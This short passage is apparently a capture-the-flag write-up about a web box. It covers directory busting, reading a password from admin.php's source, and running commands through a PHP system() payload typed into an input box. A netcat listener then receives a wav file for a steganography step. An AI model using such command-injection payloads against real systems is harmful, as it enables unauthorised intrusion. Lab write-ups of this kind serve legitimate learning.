Port 80 is open but when you browse it there is no entry point.So lets bust it!

Now we have admin.php and uploads dir. Uploads dir is empty. Checking the source of admin.php… Voila! We have a password. After you login check the input box with:

<?php system('ls /home/');?>

There are wav files so this should be a stego challenge. Get wav file. On local machine run:

nc -lvnp 999 > rick.wav
